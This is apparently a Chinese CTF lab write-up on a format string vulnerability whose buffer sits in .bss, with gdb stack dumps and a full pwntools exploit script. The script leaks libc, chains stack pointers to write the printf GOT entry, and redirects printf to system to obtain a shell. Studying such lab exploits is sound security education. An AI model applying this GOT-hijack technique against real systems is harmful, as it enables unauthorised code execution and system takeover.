是一个无限读取buff然后printf打印的过程,遇到quit停止。与前面题目不同的是,这个buf不再是栈上的了,而是位于bss段。
1 2 3 4 5 6 .bss:0804A060 public buf .bss:0804A060 ; char buf[200] .bss:0804A060 buf db 0C8h dup(?) ; DATA XREF: do_fmt+E↑o .bss:0804A060 ; do_fmt+27↑o ... .bss:0804A060 _bss ends .bss:0804A060
非栈上buff的格式化字符串漏洞 这是格式化字符串的变体,这种题目必定是多次漏洞的形式,因为单次本身就无法实现利用。下面是查找到的一段关于此类题目的说明。
1 2 3 4 出题人把格式化串放到堆或是bss段中,不能和原来的一样那样去读取格式化字符串串中的目标地址,不在栈中你是不可能读到的。对于这种题目的做法就是要进行两次漏洞利用,第一次将当前题目变成常规题目样式。第二次就成了常规格式化字符串题目。 具体指的是: 第一次:在栈中找一个指向栈里面的指针(这种指针肯定会有,因为堆栈框架就是这样的),往其写入第二次要写入的地址。 第二次:常规格式化字符串exp操作
具体针对这题的话,因为不和前面一样只是单纯的修改变量,而是需要实现完整的利用,所以思路是
利用格式化字符串漏洞泄露libc地址得到system地址
写got表劫持printf函数到system
buf传入”/bin/sh”得到shell
首先用gdb调试下,在call printf
处下断,看一下栈内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Breakpoint *0x0804853B pwndbg> stack 20 00:0000│ esp 0xffa1c750 —▸ 0x804a060 (buf) ◂— 'aaaaaaaaaaaaaaaaa\n' 01:0004│ 0xffa1c754 —▸ 0x8048640 ◂— jno 0x80486b7 /* 'quit' */ 02:0008│ 0xffa1c758 ◂— 0x4 03:000c│ 0xffa1c75c —▸ 0x804857c (play+51) ◂— add esp, 0x10 04:0010│ 0xffa1c760 —▸ 0x8048645 ◂— cmp eax, 0x3d3d3d3d /* '=====================' */ 05:0014│ 0xffa1c764 ◂— 0x0 06:0018│ ebp 0xffa1c768 —▸ 0xffa1c778 —▸ 0xffa1c788 ◂— 0x0 07:001c│ 0xffa1c76c —▸ 0x8048584 (play+59) ◂— nop 08:0020│ 0xffa1c770 —▸ 0xf7fc0d80 (_IO_2_1_stdout_) ◂— 0xfbad2887 09:0024│ 0xffa1c774 ◂— 0x0 0a:0028│ 0xffa1c778 —▸ 0xffa1c788 ◂— 0x0 0b:002c│ 0xffa1c77c —▸ 0x80485b1 (main+42) ◂— nop 0c:0030│ 0xffa1c780 —▸ 0xf7fe39b0 (_dl_fini) ◂— push ebp 0d:0034│ 0xffa1c784 —▸ 0xffa1c7a0 ◂— 0x1 0e:0038│ 0xffa1c788 ◂— 0x0 0f:003c│ 0xffa1c78c —▸ 0xf7e00e81 (__libc_start_main+241) ◂— add esp, 0x10 10:0040│ 0xffa1c790 —▸ 0xf7fc0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c ... ↓ 12:0048│ 0xffa1c798 ◂— 0x0 13:004c│ 0xffa1c79c —▸ 0xf7e00e81 (__libc_start_main+241) ◂— add esp, 0x10
注意到,栈上存放了__libc_start_main
地址,可以用来计算libc地址,同时由于涉及到利用栈上变量当跳板,需要泄露出esp值,第一次payload就是
1 2 3 4 5 6 7 8 9 10 11 12 payload = "%6$p.%15$p" input() p.sendlineafter(" Magic echo Server\n=====================\n",payload) p.recvuntil('0x') esp_addr=int(p.recv(8),16)-0x28 p.recvuntil('0x') libc_main_addr=int(p.recv(8),16)-241 obj = LibcSearcher("__libc_start_main", libc_main_addr) libc_addr = libc_main_addr - obj.dump("__libc_start_main") system_addr = libc_addr + obj.dump("system") success("esp addr:{:#x} ".format(esp_addr)) success("system addr:{:#x} ".format(system_addr))
这样就可以得到此时esp值和lib_start_main
地址(减去偏移241就得到了),进一步得到libc地址与system地址。
这一步执行完后查看栈布局:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 pwndbg> stack 60 00:0000│ esp 0xffe64450 —▸ 0x804a060 (buf) ◂— 'bbbb\n%15$p\n' 01:0004│ 0xffe64454 —▸ 0x8048640 ◂— jno 0x80486b7 /* 'quit' */ 02:0008│ 0xffe64458 ◂— 0x4 03:000c│ 0xffe6445c —▸ 0x804857c (play+51) ◂— add esp, 0x10 04:0010│ 0xffe64460 —▸ 0x8048645 ◂— cmp eax, 0x3d3d3d3d /* '=====================' */ 05:0014│ 0xffe64464 ◂— 0x0 06:0018│ ebp 0xffe64468 —▸ 0xffe64478 —▸ 0xffe64488 ◂— 0x0 07:001c│ 0xffe6446c —▸ 0x8048584 (play+59) ◂— nop 08:0020│ 0xffe64470 —▸ 0xf7ec7d80 (_IO_2_1_stdout_) ◂— 0xfbad2887 09:0024│ 0xffe64474 ◂— 0x0 0a:0028│ 0xffe64478 —▸ 0xffe64488 ◂— 0x0 0b:002c│ 0xffe6447c —▸ 0x80485b1 (main+42) ◂— nop 0c:0030│ 0xffe64480 —▸ 0xf7eea9b0 (_dl_fini) ◂— push ebp 0d:0034│ 0xffe64484 —▸ 0xffe644a0 ◂— 0x1 0e:0038│ 0xffe64488 ◂— 0x0 0f:003c│ 0xffe6448c —▸ 0xf7d07e81 (__libc_start_main+241) ◂— add esp, 0x10 10:0040│ 0xffe64490 —▸ 0xf7ec7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c ... ↓ 12:0048│ 0xffe64498 ◂— 0x0 13:004c│ 0xffe6449c —▸ 0xf7d07e81 (__libc_start_main+241) ◂— add esp, 0x10 14:0050│ 0xffe644a0 ◂— 0x1 15:0054│ 0xffe644a4 —▸ 0xffe64534 —▸ 0xffe648b9 ◂— './playfmt' 16:0058│ 0xffe644a8 —▸ 0xffe6453c —▸ 0xffe648c3 ◂— 'LC_ALL=en_US.UTF-8' 17:005c│ 0xffe644ac —▸ 0xffe644c4 ◂— 0x0 18:0060│ 0xffe644b0 ◂— 0x1 19:0064│ 0xffe644b4 ◂— 0x0 1a:0068│ 0xffe644b8 —▸ 0xf7ec7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c 1b:006c│ 0xffe644bc —▸ 0xf7eea75a (call_init.part+26) ◂— add edi, 0x178a6 1c:0070│ 0xffe644c0 —▸ 0xf7f02000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x26f34 1d:0074│ 0xffe644c4 ◂— 0x0 1e:0078│ 0xffe644c8 —▸ 0xf7ec7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c 1f:007c│ 0xffe644cc ◂— 0x0 ... ↓ 21:0084│ 0xffe644d4 ◂— 0xc785620b 22:0088│ 0xffe644d8 ◂— 0xabf0a41b 23:008c│ 0xffe644dc ◂— 0x0 ... ↓ 26:0098│ 0xffe644e8 ◂— 0x1 27:009c│ 0xffe644ec —▸ 0x8048400 (_start) ◂— xor ebp, ebp 28:00a0│ 0xffe644f0 ◂— 0x0 29:00a4│ 0xffe644f4 —▸ 0xf7eefe20 (_dl_runtime_resolve+16) ◂— pop edx 2a:00a8│ 0xffe644f8 —▸ 0xf7eea9b0 (_dl_fini) ◂— push ebp 2b:00ac│ 0xffe644fc —▸ 0xf7f02000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x26f34 2c:00b0│ 0xffe64500 ◂— 0x1 2d:00b4│ 0xffe64504 —▸ 0x8048400 (_start) ◂— xor ebp, ebp 2e:00b8│ 0xffe64508 ◂— 0x0 2f:00bc│ 0xffe6450c —▸ 0x8048421 (_start+33) ◂— hlt 30:00c0│ 0xffe64510 —▸ 0x8048587 (main) ◂— lea ecx, [esp + 4] 31:00c4│ 0xffe64514 ◂— 0x1 32:00c8│ 0xffe64518 —▸ 0xffe64534 —▸ 0xffe648b9 ◂— './playfmt' 33:00cc│ 0xffe6451c —▸ 0x80485c0 (__libc_csu_init) ◂— push ebp 34:00d0│ 0xffe64520 —▸ 0x8048620 (__libc_csu_fini) ◂— ret 35:00d4│ 0xffe64524 —▸ 0xf7eea9b0 (_dl_fini) ◂— push ebp 36:00d8│ 0xffe64528 —▸ 0xffe6452c —▸ 0xf7f02940 ◂— 0x0 37:00dc│ 0xffe6452c —▸ 0xf7f02940 ◂— 0x0 38:00e0│ 0xffe64530 ◂— 0x1 39:00e4│ 0xffe64534 —▸ 0xffe648b9 ◂— './playfmt' 3a:00e8│ 0xffe64538 ◂— 0x0 3b:00ec│ 0xffe6453c —▸ 0xffe648c3 ◂— 'LC_ALL=en_US.UTF-8'
理一下思路,目前我们已经知道了system地址,只需要将其写入printf的got表,其地址为0804A010,就齐活了->但是栈上并没有printf_got地址,所以我们需要做的是将printf_got地址写入栈上某个位置->需要找到栈上存放了栈地址的内存位置,利用格式化字符串漏洞写入。
1 2 3 4 5 6 7 8 9 .got.plt:0804A008 dword_804A008 dd 0 ; DATA XREF: sub_8048380+6↑r .got.plt:0804A00C off_804A00C dd offset read ; DATA XREF: _read↑r .got.plt:0804A010 off_804A010 dd offset printf ; DATA XREF: _printf↑r .got.plt:0804A014 off_804A014 dd offset puts ; DATA XREF: _puts↑r .got.plt:0804A018 off_804A018 dd offset __libc_start_main .got.plt:0804A018 ; DATA XREF: ___libc_start_main↑r .got.plt:0804A01C off_804A01C dd offset setvbuf ; DATA XREF: _setvbuf↑r .got.plt:0804A020 off_804A020 dd offset strncmp ; DATA XREF: _strncmp↑r .got.plt:0804A020 _got_plt ends
我们的需求结合调试的栈上情况分析如下:
需要存放了栈上地址的栈地址作为跳板,形象地说就是:栈地址->栈地址->栈地址(这个之所以选择栈地址的目的就是为了尽量减少需要修改的字节数量,毕竟数量一多格式化字符串前面的%{n}c就越大,也就越慢了,甚至解不出来)
可以选择0x15 0x16
0x15->0x39->栈地址
0x16->0x3b->栈地址
1 2 15:0054│ 0xffe644a4 —▸ 0xffe64534 —▸ 0xffe648b9 ◂— './playfmt' 16:0058│ 0xffe644a8 —▸ 0xffe6453c —▸ 0xffe648c3 ◂— 'LC_ALL=en_US.UTF-8'
需要存放0x0804xxxx的栈地址,这样的目的是got表也是0x0804xxxx,这样可以只用修改低2字节。下面是所选的两个,当然,其他的也是可以的,不唯一。
1 2 07:001c│ 0xffe6446c —▸ 0x8048584 (play+59) ◂— nop 0b:002c│ 0xffe6447c —▸ 0x80485b1 (main+42) ◂— nop
接下来就是利用漏洞进行挨个推算,步骤如下。
0x15存放的0x39处地址,在此处利用漏洞(%21$hn)将0x39处值修改为0x7地址
0x16存放的0x3b处地址,在此处利用漏洞(%22$hn)将0x3b处值修改为0xb地址
此时0x39存放的0x7地址,0x3b存放的0xb地址
在0x39处利用漏洞(%57$hn)利用漏洞将0x7处存放的值改为printf_got地址
在0x3b处利用漏洞(%59$hn)利用漏洞将0xb处存放的值改为printf_got+2地址
至此已经将printf_got以及printf_got+2地址放入了栈上0x7和0xb处。
利用漏洞将printf_got和printf_got+2两个地址处的双字节修改为system高双字节和低双字节地址
最后传入”/bin/sh”,在程序调用printf时便实现劫持得到shell
writeup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *from LibcSearcher import *def hhn (addr,offset ): return "%{addr}c%{offset}$hhn" .format (addr=addr,offset=offset) def hn (addr,offset ): return "%{addr}c%{offset}$hn" .format (addr=addr,offset=offset) p = process("./playfmt" ) elf = ELF("./playfmt" ) payload = "%6$p.%15$pstep1\x00" input ()p.sendlineafter(" Magic echo Server\n=====================\n" ,payload) p.recvuntil('0x' ) esp_addr=int (p.recv(8 ),16 )-0x28 p.recvuntil('0x' ) libc_main_addr=int (p.recv(8 ),16 )-241 obj = LibcSearcher("__libc_start_main" , libc_main_addr) libc_addr = libc_main_addr - obj.dump("__libc_start_main" ) system_addr = libc_addr + obj.dump("system" ) success("esp addr:{:#x} " .format (esp_addr)) success("system addr:{:#x} " .format (system_addr)) payload = hn((esp_addr+0x1c )&0xffff ,0x15 ) payload += hn(((esp_addr+0x2c )&0xffff -(esp_addr+0x1c )&0xffff )%0xffff ,0x16 ) payload += 'step2\x00' p.sendlineafter("step1" ,payload) payload = hn((elf.got['printf' ])&0xffff ,0x39 ) payload += hn(2 ,0x3b ) payload += 'step3\x00' p.sendlineafter('step2' ,payload) payload = hhn(system_addr >> 16 & 0xff ,0xb ) payload += hn((system_addr&0xffff ) - (system_addr >> 16 & 0xff ),0x7 ) payload += 'step4\x00' p.sendlineafter('step3' ,payload) p.sendlineafter('step4' ,'/bin/sh\x00' ) p.interactive()
这题比较难,参考了好多题解做了梳理。
参考链接:链接1 ,链接2
lab10 lab11 lab11 - 1 lab11 - 2 lab12 lab13 lab14 lab15